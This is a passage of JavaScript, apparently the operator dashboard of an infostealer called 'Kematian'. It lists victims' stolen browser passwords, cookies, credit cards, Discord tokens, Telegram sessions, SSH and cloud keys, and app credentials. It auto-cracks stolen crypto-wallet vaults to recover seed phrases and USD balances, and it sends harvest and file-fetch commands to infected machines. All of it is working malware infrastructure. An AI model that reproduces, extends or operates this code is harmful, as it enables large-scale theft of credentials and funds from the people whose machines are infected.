? (p.discriminator && p.discriminator !== "0" ? `${p.username}#${p.discriminator}` : p.username)
: "—";
const allFlags = (p.flags || 0) | (p.public_flags || 0);
const badges = dpBadgesHtml(allFlags) + dpNitroHtml(p.premium_type);
const avatarHtml = avatarUrl
? `<img class="dp-avatar" src="${esc(avatarUrl)}" alt="" loading="lazy" />`
: `<div class="dp-avatar dp-avatar-default">${esc((displayName[0] || "?").toUpperCase())}</div>`;
const check = "✓", cross = "✕";
div.innerHTML = `
<div class="dp-card-top">
<div class="dp-avatar-wrap">${avatarHtml}</div>
<div class="dp-identity">
<div class="dp-displayname">${esc(displayName)}</div>
<div class="dp-tag">${esc(tag)}</div>
<div class="dp-created">${created ? "Created " + created.toLocaleDateString() : ""} · ${esc(p.locale || "")} · ${esc(p.source || "")}</div>
</div>
<div class="dp-badges-col">${badges}</div>
</div>
<div class="dp-stats-row">
<div class="dp-stat"><span class="dp-stat-val">${p.friends_count != null ? p.friends_count : "—"}</span><span class="dp-stat-lbl">Friends</span></div>
<div class="dp-stat"><span class="dp-stat-val">${p.guilds_count != null ? p.guilds_count : "—"}</span><span class="dp-stat-lbl">Servers</span></div>
<div class="dp-stat"><span class="dp-stat-val">${p.mfa_enabled ? check : cross}</span><span class="dp-stat-lbl">2FA</span></div>
<div class="dp-stat"><span class="dp-stat-val">${p.phone ? check : cross}</span><span class="dp-stat-lbl">Phone</span></div>
<div class="dp-stat"><span class="dp-stat-val">${p.verified ? check : cross}</span><span class="dp-stat-lbl">Email ver.</span></div>
</div>
${p.email ? `<div class="dp-detail-row"><span class="dp-detail-lbl">Email</span><span class="dp-detail-val">${esc(p.email)}</span></div>` : ""}
${p.guild_names ? `<div class="dp-detail-row dp-guilds"><span class="dp-detail-lbl">Servers</span><span class="dp-detail-val dp-guild-list">${esc(p.guild_names.split("|").join(", "))}</span></div>` : ""}
${tokenHtml}
<div class="dp-actions">
<button class="btn dp-lookup-btn" data-token="${esc(p.token)}" data-cid="${esc(p.clientId)}">Re-lookup</button>
${p.user_id ? `<span class="dp-uid">ID: ${esc(p.user_id)}</span>` : ""}
</div>`;
}
const tokenEl = div.querySelector(".dp-token");
if (tokenEl) {
tokenEl.addEventListener("click", () => {
navigator.clipboard.writeText(p.token || "").catch(() => {});
tokenEl.classList.add("copied-flash");
setTimeout(() => tokenEl.classList.remove("copied-flash"), 600);
});
}
return div;
}
async function loadDiscordProfiles() {
if (!discordViewEl || discordViewEl.style.display === "none") return;
try {
const p = {};
if (!isGlobal && clientId) p.clientId = clientId;
else if (isGlobal && activeClient !== "all") p.clientId = activeClient;
const q = searchEl.value.trim();
if (q) p.search = q;
const result = await rpc("list_discord_profiles", p);
dpGrid.innerHTML = "";
if (!result.rows.length) {
dpGrid.innerHTML = '<div class="no-rows">No Discord tokens captured yet.</div>';
} else {
for (const row of result.rows) dpGrid.appendChild(renderDiscordCard(row));
}
rowCount.textContent = `${result.total.toLocaleString()} ${result.total === 1 ? "token" : "tokens"}`;
} catch (e) {
log(`Discord profiles error: ${e.message}`);
}
}
// ── Wallet card view ───────────────────────────────────────────
function renderWalletCard(w) {
const div = document.createElement("div");
div.className = "wl-card";
const isExt = w.type === "extension";
const iconClass = isExt ? "wl-icon-ext" : "wl-icon-desk";
const typeClass = isExt ? "wl-type-ext" : "wl-type-desk";
const typeLabel = isExt ? "Extension" : "Desktop";
const icon = isExt ? "\u{1F9E9}" : "\u{1F4B0}";
const addrs = w.addresses || [];
const balKey = w.name;
const bals = walletBalances[balKey] || {};
const crackResult = walletCrackResults[balKey];
let addrsHtml = "";
if (addrs.length > 0) {
addrsHtml = `<div class="wl-addrs">${addrs.map(a =>
`<span class="wl-addr" title="Click to copy">${esc(a)}</span>`
).join("")}</div>`;
}
let balHtml = "";
const balEntries = Object.entries(bals);
if (balEntries.length > 0) {
balHtml = `<div class="wl-balances">${balEntries.map(([chain, bal]) => {
const isZero = bal === 0;
const cls = isZero ? "wl-bal-chip wl-bal-chip-zero" : "wl-bal-chip";
const val = isZero ? "0" : bal < 0.0001 ? bal.toExponential(2) : bal.toFixed(4);
return `<span class="${cls}">${esc(chain)}: ${val}</span>`;
}).join("")}</div>`;
}
let crackHtml = "";
if (crackResult) {
if (crackResult.warning) {
crackHtml += `<div class="wl-crack-warning">${esc(crackResult.warning)}</div>`;
}
if (crackResult.cracked) {
// USD total banner
let usdHtml = "";
if (crackResult.usdTotal !== undefined) {
if (crackResult.usdTotal > 0) {
usdHtml = `<div class="wl-usd-total">$${crackResult.usdTotal.toFixed(2)}</div>`;
} else {
usdHtml = `<div class="wl-usd-total wl-usd-zero">$0.00</div>`;
}
}
// Balances per asset
let balHtml = "";
if (crackResult.balances) {
const entries = Object.entries(crackResult.balances).filter(([,v]) => v > 0);
if (entries.length) {
balHtml = `<div class="wl-bal-row">${entries.map(([chain, val]) =>
`<span class="wl-bal-chip"><b>${esc(chain)}</b> ${val < 0.0001 ? val.toExponential(2) : val.toFixed(6)}</span>`
).join("")}</div>`;
} else {
balHtml = `<div class="wl-bal-row"><span class="wl-bal-chip wl-bal-chip-zero">No balances found</span></div>`;
}
}
// Addresses
let addrsHtml = "";
if (crackResult.addresses?.length) {
addrsHtml = `<div class="wl-accounts">${crackResult.addresses.map(a => {
const label = a.chain || "ETH";
const addr = a.address || a;
return `<span class="wl-account" title="Click to copy">${esc(label)}: ${esc(addr)}</span>`;
}).join("")}</div>`;
}
if (crackResult.accounts?.length) {
addrsHtml += `<div class="wl-accounts">${(crackResult.accounts || []).map(a => {
if (a.mnemonic) return `<div class="wl-mnemonic" title="Click to copy seed phrase">${esc(a.mnemonic)}</div>`;
return `<span class="wl-account" title="Click to copy">${esc(a.type)}: ${esc(a.address)}</span>`;
}).join("")}</div>`;
}
// Mnemonic
let mnemonicHtml = "";
if (crackResult.mnemonic) {
mnemonicHtml = `<div class="wl-mnemonic" title="Click to copy seed phrase">${esc(crackResult.mnemonic)}</div>`;
}
crackHtml += `
<div class="wl-crack-result">
Cracked! Password: <span class="wl-crack-pw">${esc(crackResult.password)}</span>
</div>
${usdHtml}
${balHtml}
${addrsHtml}
${mnemonicHtml}
${crackResult.mnemonic && !crackResult.balances ? `<button class="btn wl-check-bal-btn" data-wallet="${esc(w.name)}">Check Balances</button>` : ""}`;
} else {
crackHtml += `<div class="wl-crack-result wl-crack-fail">No password matched (${crackResult.tried} tried)</div>`;
}
}
div.innerHTML = `
<div class="wl-card-top">
<div class="wl-icon ${iconClass}">${icon}</div>
<div class="wl-identity">
<div class="wl-name">${esc(w.name)}</div>
<div class="wl-meta">
<span class="wl-type-badge ${typeClass}">${typeLabel}</span>
<span>${w.files || 0} files · ${humanSize(w.size || 0)}</span>
</div>
</div>
</div>
${crackHtml}
<div class="wl-actions">
${w.hasVault && !crackResult ? `<button class="btn wl-crack-btn" data-wallet="${esc(w.name)}" data-crack-type="vault">Crack Vault</button>` : ""}
${!w.hasVault && w.downloaded && !crackResult ? `<button class="btn wl-crack-btn" data-wallet="${esc(w.name)}" data-crack-type="desktop">Crack Wallet</button>` : ""}
${w.dataId ? `<button class="btn wl-dl-btn" data-id="${w.dataId}" data-name="${esc(w.name)}">Download ZIP</button>` : ""}
${w.downloaded ? `<span class="wl-downloaded">Auto-downloaded</span>` : ""}
</div>`;
div.querySelectorAll(".wl-addr, .wl-account").forEach(el => {
el.addEventListener("click", () => {
navigator.clipboard.writeText(el.textContent.replace(/^[^:]+:\s*/, "")).catch(() => {});
el.classList.add("copied-flash");
setTimeout(() => el.classList.remove("copied-flash"), 600);
});
});
div.querySelectorAll(".wl-mnemonic").forEach(el => {
el.addEventListener("click", () => {
navigator.clipboard.writeText(el.textContent).catch(() => {});
el.classList.add("copied-flash");
setTimeout(() => el.classList.remove("copied-flash"), 600);
});
});
return div;
}
async function loadWalletCards() {
if (!walletViewEl || walletViewEl.style.display === "none") return;
const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId;
if (!cid) {
wlGrid.innerHTML = '<div class="no-rows">Select a client to view wallet details.</div>';
rowCount.textContent = "0 wallets";
return;
}
try {
const [tableResult, dataResult] = await Promise.all([
rpc("list_wallets", { clientId: cid }),
rpc("list_wallet_data", { clientId: cid }),
]);
const dataMap = {};
for (const d of dataResult.rows) {
dataMap[d.name] = d;
}
const wallets = tableResult.rows.map(w => {
const d = dataMap[w.name];
return {
...w,
addresses: d?.addresses || [],
hasVault: d?.hasVault || false,
downloaded: !!d,
dataId: d?.id || null,
};
});
wlGrid.innerHTML = "";
if (!wallets.length) {
wlGrid.innerHTML = '<div class="no-rows">No wallets found for this client.</div>';
} else {
for (const w of wallets) wlGrid.appendChild(renderWalletCard(w));
}
rowCount.textContent = `${wallets.length} wallet${wallets.length !== 1 ? "s" : ""}`;
// Load previously cracked seeds from DB
try {
const savedSeeds = await rpc("get_wallet_seeds", { clientId: cid });
for (const [name, seed] of Object.entries(savedSeeds || {})) {
if (!walletCrackResults[name]) {
walletCrackResults[name] = { cracked: true, password: "(saved)", mnemonic: seed.mnemonic, addresses: seed.addresses };
}
}
} catch (e) { log(`get_wallet_seeds error: ${e.message}`); }
// For wallets with saved seeds, just refresh balances; crack the rest
const balanceJobs = [];
const crackJobs = [];
for (const w of wallets) {
const name = w.name;
const existing = walletCrackResults[name];
if (existing?.cracked && existing.mnemonic) {
balanceJobs.push(name);
continue;
}
if (existing) continue;
const isDesktop = !w.hasVault && w.downloaded;
const isVault = w.hasVault;
if (isDesktop || isVault) crackJobs.push({ name, method: isDesktop ? "crack_exodus" : "crack_vault" });
}
// Refresh balances for already-cracked wallets (in parallel)
if (balanceJobs.length) {
Promise.all(balanceJobs.map(async (name) => {
try {
const cr = walletCrackResults[name];
const balResult = await rpc("check_cracked_balances", { mnemonic: cr.mnemonic });
walletCrackResults[name] = { ...cr, balances: balResult.totals, usdTotal: balResult.usdTotal, addresses: balResult.addresses || cr.addresses };
if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`);
} catch (e) { log(`Balance refresh ${name} error: ${e.message}`); }
})).then(() => {
wlGrid.innerHTML = "";
for (const w of wallets) wlGrid.appendChild(renderWalletCard(w));
});
}
// Auto-crack wallets that haven't been cracked yet
for (const { name, method } of crackJobs) {
try {
const result = await rpc(method, { clientId: cid, walletName: name });
walletCrackResults[name] = result;
if (result.cracked) {
log(`Auto-cracked ${name}! Password: ${result.password}`);
if (result.mnemonic) {
const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic });
walletCrackResults[name] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal };
if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`);
else log(`${name}: no balances found`);
}
} else {
log(`Auto-crack ${name}: no password matched (${result.tried} tried)`);
}
} catch (err) {
log(`Auto-crack ${name} error: ${err.message}`);
}
}
// Re-render cards with crack results
if (wallets.some(w => walletCrackResults[w.name])) {
wlGrid.innerHTML = "";
for (const w of wallets) wlGrid.appendChild(renderWalletCard(w));
}
} catch (e) {
log(`Wallet cards error: ${e.message}`);
}
}
// ── Settings (auto-harvest) ───────────────────────────────────
function buildAutoStartEvents(files, ext) {
const events = [{ event: "collect", payload: { browsers: true } }];
if (files) events.push({ event: "scan_files", payload: {} });
if (ext) events.push({ event: "scan_extensions", payload: {} });
return events;
}
async function fetchAutoHarvestState() {
if (!autoHarvestToggle) return;
try {
const res = await fetch("/api/plugins");
if (!res.ok) return;
const data = await res.json();
const pluginCfg = (data.plugins || []).find(p => p.id === PLUGIN_ID);
if (!pluginCfg) return;
const enabled = !!pluginCfg.autoLoad;
const events = pluginCfg.autoStartEvents || [];
applySettingsUI(enabled, events.some(e => e.event === "scan_files"), events.some(e => e.event === "scan_extensions"));
} catch (_) {}
}
function applySettingsUI(enabled, files, ext) {
if (!autoHarvestToggle) return;
autoHarvestToggle.checked = enabled;
autoFilesToggle.disabled = !enabled;
autoFilesToggle.checked = files;
if (autoExtToggle) {
autoExtToggle.disabled = !enabled;
autoExtToggle.checked = ext;
}
const filesRow = $("ah-files-row");
const extRow = $("ah-ext-row");
if (filesRow) filesRow.style.opacity = enabled ? "1" : "0.5";
if (extRow) extRow.style.opacity = enabled ? "1" : "0.5";
}
async function saveSettings() {
if (!settingsStatus) return;
settingsStatus.textContent = "Saving…";
const enabled = autoHarvestToggle.checked;
const files = autoFilesToggle.checked;
const ext = autoExtToggle ? autoExtToggle.checked : false;
try {
const body = {
autoLoad: enabled,
autoStartEvents: enabled ? buildAutoStartEvents(files, ext) : [],
};
const res = await fetch(`/api/plugins/${PLUGIN_ID}/autoload`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(body),
});
const data = await res.json();
if (!data.ok) throw new Error(data.error || "failed");
settingsStatus.textContent = enabled ? "Auto-harvest enabled" : "Auto-harvest disabled";
applySettingsUI(enabled, files, ext);
} catch (e) {
settingsStatus.textContent = `Error: ${e.message}`;
}
setTimeout(() => { if (settingsStatus) settingsStatus.textContent = ""; }, 2500);
}
function initSettings(isAdmin) {
if (!settingsCard) return;
settingsCard.style.display = "";
if (!isAdmin) {
if (settingsAdminMsg) settingsAdminMsg.style.display = "";
if (settingsGrid) settingsGrid.classList.add("disabled");
if (autoHarvestToggle) autoHarvestToggle.disabled = true;
if (autoFilesToggle) autoFilesToggle.disabled = true;
if (autoExtToggle) autoExtToggle.disabled = true;
fetchAutoHarvestState();
return;
}
if (autoHarvestToggle) autoHarvestToggle.addEventListener("change", saveSettings);
if (autoFilesToggle) autoFilesToggle.addEventListener("change", saveSettings);
if (autoExtToggle) autoExtToggle.addEventListener("change", saveSettings);
fetchAutoHarvestState();
}
// ── Global mode ───────────────────────────────────────────────
async function loadGlobalStats() {
try {
knownClients = await rpc("get_stats");
renderClientsCard();
buildCfilts();
buildTabs();
const total = (key) => knownClients.reduce((s, c) => s + (c[key] || 0), 0);
const sep = `<span class="gstat-sep"> · </span>`;
globalStats.innerHTML = [
`<strong>${knownClients.length}</strong> client${knownClients.length !== 1 ? "s" : ""}`,
`<strong>${total("passwords").toLocaleString()}</strong> passwords`,
`<strong>${total("cookies").toLocaleString()}</strong> cookies`,
`<strong>${total("creditCards").toLocaleString()}</strong> cards`,
`<strong>${total("discordTokens").toLocaleString()}</strong> Discord tokens`,
`<strong>${total("extensions").toLocaleString()}</strong> extensions`,
`<strong>${total("wallets").toLocaleString()}</strong> wallets`,
].map(s => `<span class="gstat">${s}</span>`).join(sep);
exportAllBtn.disabled = knownClients.length === 0;
loadSummary();
} catch (e) { log(`Stats error: ${e.message}`); }
}
let summaryData = [];
let summaryWalletResults = {};
async function loadSummary() {
if (!summaryCard || !summaryGrid) return;
try {
summaryData = await rpc("get_summary");
if (!summaryData.length) { summaryCard.style.display = "none"; return; }
summaryCard.style.display = "";
renderSummary();
// Load saved seeds for all clients, then only refresh balances or crack new ones
const balanceRefreshJobs = [];
const crackJobs = [];
for (const c of summaryData) {
let savedSeeds = {};
try { savedSeeds = await rpc("get_wallet_seeds", { clientId: c.clientId }); } catch (e) { log(`get_wallet_seeds ${c.clientId} error: ${e.message}`); }
const vaults = new Set(c.walletVaults || []);
for (const name of c.walletDownloaded || []) {
const key = `${c.clientId}:${name}`;
// Populate from saved seeds
if (!summaryWalletResults[key] && savedSeeds[name]) {
summaryWalletResults[key] = { cracked: true, password: "(saved)", mnemonic: savedSeeds[name].mnemonic, addresses: savedSeeds[name].addresses };
}
if (summaryWalletResults[key]?.cracked && summaryWalletResults[key]?.mnemonic) {
balanceRefreshJobs.push({ key, mnemonic: summaryWalletResults[key].mnemonic });
continue;
}
if (summaryWalletResults[key]) continue;
const method = vaults.has(name) ? "crack_vault" : "crack_exodus";
crackJobs.push({ key, clientId: c.clientId, name, method });
}
}
// Refresh balances for already-cracked wallets in parallel
if (balanceRefreshJobs.length) {
Promise.all(balanceRefreshJobs.map(async ({ key, mnemonic }) => {
try {
const balResult = await rpc("check_cracked_balances", { mnemonic });
summaryWalletResults[key] = { ...summaryWalletResults[key], balances: balResult.totals, usdTotal: balResult.usdTotal };
} catch (e) { log(`Summary balance refresh error: ${e.message}`); }
})).then(() => renderSummary());
}
// Crack wallets that don't have saved seeds
for (const { key, clientId: cid, name, method } of crackJobs) {
try {
const result = await rpc(method, { clientId: cid, walletName: name });
summaryWalletResults[key] = result;
if (result.cracked && result.mnemonic) {
const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic });
summaryWalletResults[key] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal };
}
} catch (e) { log(`Summary crack ${name} (${method}) error: ${e.message}`); }
}
renderSummary();
} catch (e) { log(`Summary error: ${e.message}`); }
}
function renderSummary() {
if (!summaryGrid) return;
let totalUsd = 0;
const cards = [];
for (const c of summaryData) {
let clientUsd = 0;
const walletInfo = [];
for (const name of c.walletNames || []) {
const key = `${c.clientId}:${name}`;
const cr = summaryWalletResults[key];
if (cr?.cracked) {
clientUsd += cr.usdTotal || 0;
walletInfo.push({ name, cracked: true, usdTotal: cr.usdTotal || 0, password: cr.password });
} else if (cr && !cr.cracked) {
walletInfo.push({ name, cracked: false, tried: cr.tried });
} else {
walletInfo.push({ name, pending: true });
}
}
totalUsd += clientUsd;
cards.push({ client: c, clientUsd, walletInfo });
}
if (summaryTotals) {
summaryTotals.innerHTML = `
<span class="summary-usd">${totalUsd > 0 ? "$" + totalUsd.toFixed(2) : "$0.00"}</span>
<span class="summary-meta">${summaryData.length} client${summaryData.length !== 1 ? "s" : ""} · ${Object.keys(summaryWalletResults).length} wallets checked</span>
`;
}
summaryGrid.innerHTML = "";
for (const { client: c, clientUsd, walletInfo } of cards) {
const div = document.createElement("div");
div.className = "summary-client-card";
const walletsHtml = walletInfo.map(w => {
if (w.cracked) {
return `<span class="summary-wallet cracked" title="Password: ${esc(w.password)}">${esc(w.name)} <b>$${w.usdTotal.toFixed(2)}</b></span>`;
} else if (w.pending) {
return `<span class="summary-wallet pending">${esc(w.name)}</span>`;
} else {
return `<span class="summary-wallet failed">${esc(w.name)} (${w.tried} tried)</span>`;
}
}).join("");
div.innerHTML = `
<div class="summary-client-top">
<span class="client-id-badge" title="${esc(c.clientId)}">${esc(shortId(c.clientId))}</span>
<span class="summary-client-usd">${clientUsd > 0 ? "$" + clientUsd.toFixed(2) : ""}</span>
</div>
<div class="summary-client-counts">
<span>${(c.passwords || 0).toLocaleString()} pw</span>
<span>${(c.cookies || 0).toLocaleString()} cookies</span>
<span>${(c.creditCards || 0).toLocaleString()} cards</span>
<span>${(c.discordTokens || 0).toLocaleString()} discord</span>
<span>${(c.wallets || 0)} wallets</span>
</div>
${walletsHtml ? `<div class="summary-wallets">${walletsHtml}</div>` : ""}
`;
summaryGrid.appendChild(div);
}
}
async function loadGlobalTab() {
const tab = TABS.find(t => t.id === activeTab);
if (!tab?.rpc) return;
if (!tabData[tab.key]) tabData[tab.key] = { rows: [], total: 0, offset: 0 };
const { offset } = tabData[tab.key];
const p = { limit: PAGE_SIZE, offset };
const search = searchEl.value.trim();
if (search) p.search = search;
if (activeClient !== "all") p.clientId = activeClient;
if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser"))
p.browser = activeBrowser;
try {
const result = await rpc(tab.rpc, p);
tabData[tab.key] = { rows: result.rows, total: result.total, offset };
buildTabs();
renderTable();
} catch (e) { log(`Load error (${tab.label}): ${e.message}`); }
}
function renderClientsCard() {
if (!clientsList) return;
if (knownClients.length === 0) { clientsCard.style.display = "none"; return; }
clientsCard.style.display = "";
clientsList.innerHTML = "";
const frag = document.createDocumentFragment();
for (const c of knownClients) {
const div = document.createElement("div");
div.className = "client-item";
const ts = c.lastCapturedAt ? new Date(c.lastCapturedAt).toLocaleString() : "—";
div.innerHTML = `
<div class="client-item-header">
<span class="client-id-badge" title="${esc(c.clientId)}">${esc(shortId(c.clientId))}</span>
<span class="client-ts">${esc(ts)}</span>
</div>
<div class="client-counts">
<span class="client-count">${(c.passwords || 0).toLocaleString()} pw</span>
<span class="client-count">${(c.cookies || 0).toLocaleString()} cookies</span>
<span class="client-count">${(c.creditCards || 0).toLocaleString()} cards</span>
<span class="client-count">${(c.discordTokens || 0).toLocaleString()} discord</span>
<span class="client-count">${(c.files || 0).toLocaleString()} files</span>
<span class="client-count">${(c.extensions || 0).toLocaleString()} extensions</span>
</div>
<div class="client-item-actions">
<button class="btn" data-action="view-client" data-id="${esc(c.clientId)}">View</button>
<button class="btn btn-danger-sm" data-action="del-client" data-id="${esc(c.clientId)}">Delete</button>
</div>`;
frag.appendChild(div);
}
clientsList.appendChild(frag);
}
function startSSE() {
const sse = new EventSource(`/api/plugins/${PLUGIN_ID}/stream`);
window.__kematianSSE = sse;
sse.addEventListener("harvest_update", async (e) => {
const { clientId: cid } = JSON.parse(e.data);
log(`Harvest update from ${shortId(cid)}`);
await loadGlobalStats();
if (activeTab === "__search__") await loadSearchAll();
else if (activeTab === "discord") await loadDiscordProfiles();
else await loadGlobalTab();
});
sse.addEventListener("seed_update", async (e) => {
const { clientId: cid, count } = JSON.parse(e.data);
log(`Seed scan: ${count} phrases found from ${shortId(cid)}`);
if (activeTab === "seeds") await loadGlobalTab();
});
sse.addEventListener("wallet_data_update", async () => {
if (activeTab === "wallets") await loadWalletCards();
});
sse.addEventListener("client_deleted", async (e) => {
const { clientId: cid } = JSON.parse(e.data);
if (activeClient === cid) activeClient = "all";
delete tabData[TABS.find(t => t.id === activeTab)?.key];
await loadGlobalStats();
renderTable();
});
sse.addEventListener("cleared", () => {
knownClients = []; tabData = {}; activeClient = "all";
clientsCard.style.display = "none";
exportAllBtn.disabled = true;
globalStats.innerHTML = `<span class="gstat"><strong>0</strong> clients</span>`;
buildCfilts(); buildTabs(); renderTable();
if (pagBar) pagBar.style.display = "none";
log("All data cleared");
});
}
async function initGlobalMode() {
clientCard.style.display = "none";
globalCard.style.display = "";
dataCard.style.display = "";
$("sub-title").textContent = "Global harvest view — all clients";
buildTabs();
buildBfilts();
startSSE();
const rolePromise = fetchUserRole();
if (pagPrev) pagPrev.addEventListener("click", () => {
const tab = TABS.find(t => t.id === activeTab);
if (!tab?.key || !tabData[tab.key]) return;
tabData[tab.key].offset = Math.max(0, tabData[tab.key].offset - PAGE_SIZE);
loadGlobalTab();
});
if (pagNext) pagNext.addEventListener("click", () => {
const tab = TABS.find(t => t.id === activeTab);
if (!tab?.key || !tabData[tab.key]) return;
const td = tabData[tab.key];
if (td.offset + td.rows.length < td.total) { td.offset += PAGE_SIZE; loadGlobalTab(); }
});
clientsList.addEventListener("click", async (e) => {
const btn = e.target.closest("[data-action]");
if (!btn) return;
const { action, id } = btn.dataset;
if (action === "view-client") {
activeClient = id;
const tab = TABS.find(t => t.id === activeTab);
if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0;
buildCfilts(); buildTabs();
await loadGlobalTab();
dataCard.scrollIntoView({ behavior: "smooth" });
} else if (action === "del-client") {
if (!confirm(`Delete all harvested data for client ${shortId(id)} (${id})?`)) return;
try {
await rpc("delete_client", { clientId: id });
log(`Deleted ${shortId(id)}`);
knownClients = knownClients.filter(c => c.clientId !== id);
if (activeClient === id) activeClient = "all";
for (const t of TABS)
if (tabData[t.key]) tabData[t.key].rows = tabData[t.key].rows.filter(r => r.clientId !== id);
renderClientsCard(); buildCfilts(); buildTabs(); renderTable();
loadGlobalStats();
} catch (err) { log(`Delete error: ${err.message}`); }
}
});
refreshBtn.addEventListener("click", async () => {
log("Refreshing…");
await loadGlobalStats();
if (activeTab === "__search__") await loadSearchAll();
else await loadGlobalTab();
});
exportAllBtn.addEventListener("click", async () => {
try {
log("Exporting all data…");
const results = await Promise.all(TABS.map(t => rpc(t.rpc, { limit: 0 })));
const allData = {};
TABS.forEach((t, i) => { allData[t.key] = results[i].rows; });
const blob = new Blob([JSON.stringify(allData, null, 2)], { type: "application/json" });
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = `kematian-global-${Date.now()}.json`;
a.click();
URL.revokeObjectURL(a.href);
log("Export complete");
} catch (err) { log(`Export error: ${err.message}`); }
});
clearAllBtn.addEventListener("click", async () => {
if (!confirm("Delete ALL harvested data from ALL clients?\n\nThis cannot be undone.")) return;
try {
await rpc("delete_all", {});
knownClients = []; tabData = {}; activeClient = "all";
clientsCard.style.display = "none";
exportAllBtn.disabled = true;
globalStats.innerHTML = `<span class="gstat"><strong>0</strong> clients</span>`;
if (pagBar) pagBar.style.display = "none";
buildCfilts(); buildTabs(); renderTable();
log("All data cleared");
} catch (err) { log(`Clear error: ${err.message}`); }
});
log("Global view — Kematian");
const [role] = await Promise.all([
rolePromise,
loadGlobalStats().then(() => loadGlobalTab()),
]);
userRole = role;
initSettings(userRole === "admin");
}
// ── Per-client mode ───────────────────────────────────────────
function initClientMode() {
clientIdEl.value = clientId;
globalCard.style.display = "none";
clientsCard.style.display = "none";
if (settingsCard) settingsCard.style.display = "none";
cfiltsEl.style.display = "none";
if (pagBar) pagBar.style.display = "none";
buildTabs();
buildBfilts();
collectBtn.addEventListener("click", () => {
collectBtn.disabled = true;
log("Starting collection…");
sendEvent("collect", { browsers: true });
});
scanFilesBtn.addEventListener("click", () => {
scanFilesBtn.disabled = true;
log("Scanning files…");
sendEvent("scan_files", {});
});
scanExtBtn.addEventListener("click", () => {
scanExtBtn.disabled = true;
log("Scanning extensions…");
sendEvent("scan_extensions", {});
});
scanWalletsBtn.addEventListener("click", () => {
scanWalletsBtn.disabled = true;
log("Scanning wallets…");
sendEvent("scan_wallets", {});
});
scanTgBtn.addEventListener("click", () => {
scanTgBtn.disabled = true;
log("Scanning Telegram sessions…");
sendEvent("scan_telegram", {});
});
scanKeysBtn.addEventListener("click", () => {
scanKeysBtn.disabled = true;
log("Scanning SSH & cloud keys…");
sendEvent("scan_keys", {});
});
scanAppsBtn.addEventListener("click", () => {
scanAppsBtn.disabled = true;
log("Scanning app credentials (RDP, WinSCP, PuTTY, FileZilla, WiFi…)");
sendEvent("scan_apps", {});
});
pingBtn.addEventListener("click", () => { log("Ping sent"); sendEvent("ping", {}); });
exportBtn.addEventListener("click", () => {
if (!lastResults) return;
const blob = new Blob([JSON.stringify(lastResults, null, 2)], { type: "application/json" });
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = `kematian-${clientId}-${Date.now()}.json`;
a.click();
URL.revokeObjectURL(a.href);
log("Exported results");
});
const eventDispatch = {
ready(payload) {
statusDot.className = "dot dot-on";
statusText.textContent = "Connected";
log(`ready: ${payload?.status || "ok"}`);
},
status(payload) {
log(payload?.message || "(status)");
},
partial(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
for (const key of DATA_KEYS)
if (payload[key]?.length) lastResults[key] = [...(lastResults[key] || []), ...payload[key]];
buildTabs(); buildBfilts(); renderTable();
},
results(payload) {
lastResults = payload;
collectBtn.disabled = false;
exportBtn.disabled = false;
dataCard.style.display = "";
buildTabs(); buildBfilts(); renderTable();
const c = DATA_KEYS.map(k => (payload[k] || []).length);
log(`Collection complete — ${c[0]} pw · ${c[1]} cookies · ${c[2]} autofill · ${c[3]} history · ${c[4]} bookmarks · ${c[5]} cards · ${c[6]} Discord · ${c[7]} files · ${c[8]} extensions · ${c[9]} wallets · ${c[10]} telegram · ${c[11]} keys · ${c[12]} seeds · ${c[13]} apps`);
if (payload.errors?.length) payload.errors.forEach(e => log(`warn: ${e}`));
},
file_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.files = payload?.files || [];
scanFilesBtn.disabled = false;
if (activeTab !== "files") { activeTab = "files"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`File scan — ${lastResults.files.length} files${payload?.truncated ? " (limit reached)" : ""}`);
},
fetch_file_result(payload) {
const { path, name, content } = payload || {};
const pending = pendingFetches.get(path);
pendingFetches.delete(path);
if (pending?.btn) { pending.btn.textContent = "↓"; pending.btn.disabled = false; }
if (!content) { log(`fetch_file: no content for ${name}`); return; }
downloadBase64(content, name || "file");
log(`Downloaded: ${name}`);
},
fetch_file_error(payload) {
const { path, error } = payload || {};
const pending = pendingFetches.get(path);
pendingFetches.delete(path);
if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; }
log(`fetch_file ERROR: ${error || "unknown"}`);
},
extension_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.extensions = payload?.extensions || [];
scanExtBtn.disabled = false;
if (activeTab !== "extensions") { activeTab = "extensions"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`Extension scan — ${lastResults.extensions.length} extensions`);
},
fetch_ext_zip_result(payload) {
const { path, extId, content } = payload || {};
const pending = pendingExtZips.get(path);
pendingExtZips.delete(path);
if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; }
if (!content) { log(`fetch_ext_zip: no content for ${extId}`); return; }
downloadBase64(content, `${extId || "extension"}.zip`, "application/zip");
log(`Downloaded extension ZIP: ${extId}`);
},
fetch_ext_zip_error(payload) {
const { path, error } = payload || {};
const pending = pendingExtZips.get(path);
pendingExtZips.delete(path);
if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; }
log(`fetch_ext_zip ERROR: ${error || "unknown"}`);
},
wallet_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.wallets = payload?.wallets || [];
scanWalletsBtn.disabled = false;
if (activeTab !== "wallets") { activeTab = "wallets"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`Wallet scan — ${lastResults.wallets.length} wallets`);
},
wallet_auto_data(payload) {
